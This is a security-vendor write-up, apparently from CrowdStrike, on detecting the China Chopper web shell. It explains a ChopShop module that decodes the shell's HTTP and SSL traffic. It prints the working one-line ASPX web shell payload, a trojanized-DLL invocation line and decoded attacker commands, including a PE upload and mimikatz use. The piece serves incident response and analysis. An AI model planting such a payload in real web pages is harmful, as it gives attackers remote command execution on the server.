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INTRODUCTION

The Chopper Web shell is a widely used backdoor by Chinese and other malicious actors to
remotely access a compromised Web server. Deployment of the Chopper shell on the server is
fairly basic as the server payload is a single line inserted into any ASPX page.

<%@ Page Language="Jscript"%><%eval(Request.Item[”password"],"unsafe");%>

This payload is available in a variety of languages including ASP, ASPX, PHP, JSP, and CFM.
Once installed, the attacker can access the shell with the Chopper client side binary.

CrowdStrike has observed another deployment method on IIS servers where attackers upload a
trojanized DLL file, ‘System.WebServices.dll’. This DLL file is written in C# and contains multiple��
Chopper API functions. The attacker can then call these functions by inserting this line in any
ASPX page:

 <% WebServices.InitalizeWebServices ("shell_password");%>

The attacker can access this Web shell variant with similar methods, including using the Chopper
client side binary. The benefit of this deployment method allows the Web shell to evade host-�
based detection methods that look for suspicious functions such as ‘eval’. Although deployments
of Chopper can vary on the host, the network traffic patterns generated by the Web shell have�
remained largely unchanged.

CHOPPER NETWORK TRAFFIC

The Chopper Web shell client communicates over TCP using HTTP POST requests. Network
traffic analysis of chopper packets can reveal attacker actions, intentions, and next steps.�
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Figure 1. Example of Chopper’s encoded command with response over decrypted HTTPs

Because Chopper generates a POST request for each command, manual analysis can get
tedious if the attacker is very active. Another challenge occurs when Chopper is deployed on a
Web server behind SSL, causing all traffic generated by Chopper to be encrypted.�

DECODING WITH CHOPSHOP

To assist with rapid triage, we leverage ChopShop, a network decoder framework developed by
MITRE (https://github.com/MITRECND/chopshop). The ChopShop framework is extendable with
modules, and the output from each module can be chained. Doing so reduces the need to rewrite
a decoder for widely used protocols. This allows the analyst to focus on developing modules
specific to a family of malware without dealing with the underlying protocols.�

The Chopper decode module I have written for the ChopShop Framework is designed to be
chained with the ‘chop_ssl’ and ‘http’ modules. To decode SSL traffic, the ‘chop_ssl’ module�
requires the server’s private key in RSA format. I’ve provided an initial version of this module on
our Github page (https://github.com/CrowdStrike/chopshop).

webshell_chopper_decode (0.1) -- requires ChopLib 4.0 or greater:

Extract Chopper Webshell commands and output from HTTP traffic. Requires 'http' 

http://github.com/MITRECND/chopshop
https://github.com/CrowdStrike/chopshop


parent module.

Usage: webshell_chopper_decode [options]

Options:

-h, --help           show this help message and exit

-d, --dict_output   Formats output to sets of dicts

-c, --commands_only Only output chopper commands

-o, --outputs_only   Only output chopper responses

-x, --extract_pe     Attempts to extract pe files from session

Sample usage commands:

./chopshop –f chopper_traffic_ssl.pcap "chop_ssl -k privatekeyrsa.key | http | 

webshell_chopper_decode" > decoded_commands.txt

./chopshop –f chopper_traffic_http.pcap "http | webshell_chopper_decode -c"

The module output contains all commands and responses from the Chopper shell. The module
will decode the entire PCAP and separate the each command parameter ‘z0’, ‘z1’, ‘z2’ on a
separate line. These ‘z’ parameters in the form data contain the arguments to commands , which
are passed from the Chopper client to the server payload. While the commands are encoded in
either base64 or hex, the responses are not encoded.

In the sample output below, we see an attacker running a ‘dir’ command file looking for�
‘w3wp.exe’ (a renamed version of cmd.exe) and subsequently executing the credential dumper
‘mimikatz’ (named pwd.txt).

Portable executable (PE) files used by the Chopper Web shell are parsed as hex encoded by the�
module. The Chopper decode module has an option to attempt to carve out and save any PE files�
in the commands or responses seen during an attacker’s C2 session.

 ./chopshop -s . –f chopper_traffic_ssl.pcap "chop_ssl -k privatekeyrsa.key | http | 

webshell_chopper_decode –x"

Note the addition of the “-s” flag, which needs to be set to tell ChopShop which directory to output�
saved files.�



Figure 2. Sample portion of output from decode module showing ‘mimikatz’ execution.

…

chopper_extracted_file-1.bin saved..

[COMMAND] at 2015-02-24 07:03:05 UTC

[Z0 Parameter] - Q1|

[Z1 Parameter] - 

\\192.168.1.11\c$\inetpub\wwwroot\Citrix\XenApp\bin\System.WebServices.dll

[Z2 Parameter] -

4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000

0000000000000000000000000000000000000000000000000000800000000E1FBA0E

00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F74206265207

2756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103

00D2963C500000000000000000E00002210B0108000036000000080000000000002

E5500000020000000600000000040000020000000020000040000000000000004000

0000000000000A000000002000000000000030040850000100000100000000010000

010000000000000100000000000000000000000DC5400004F0000000060000008050

00000000000000000000000000000000000008000000C000000445400001C0000000

00000000000000000000000000000000000000000000000000000000000000000000

0000000000000200000080000000…



Figure 3. Carved PE from Chopper traffic opened in hex editor.�
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FINAL THOUGHTS

With Chopper available in so many varieties of programming and scripting languages, this module
is still in development to account for different variants and edge cases. The goal of this module
was to ease some of the tediousness of extracting information out of a large packet capture. With
the prevalence of Chopper’s use by APT groups, being able to quickly decode and understand
what an attacker is doing greatly increases the situational awareness of incident responders.
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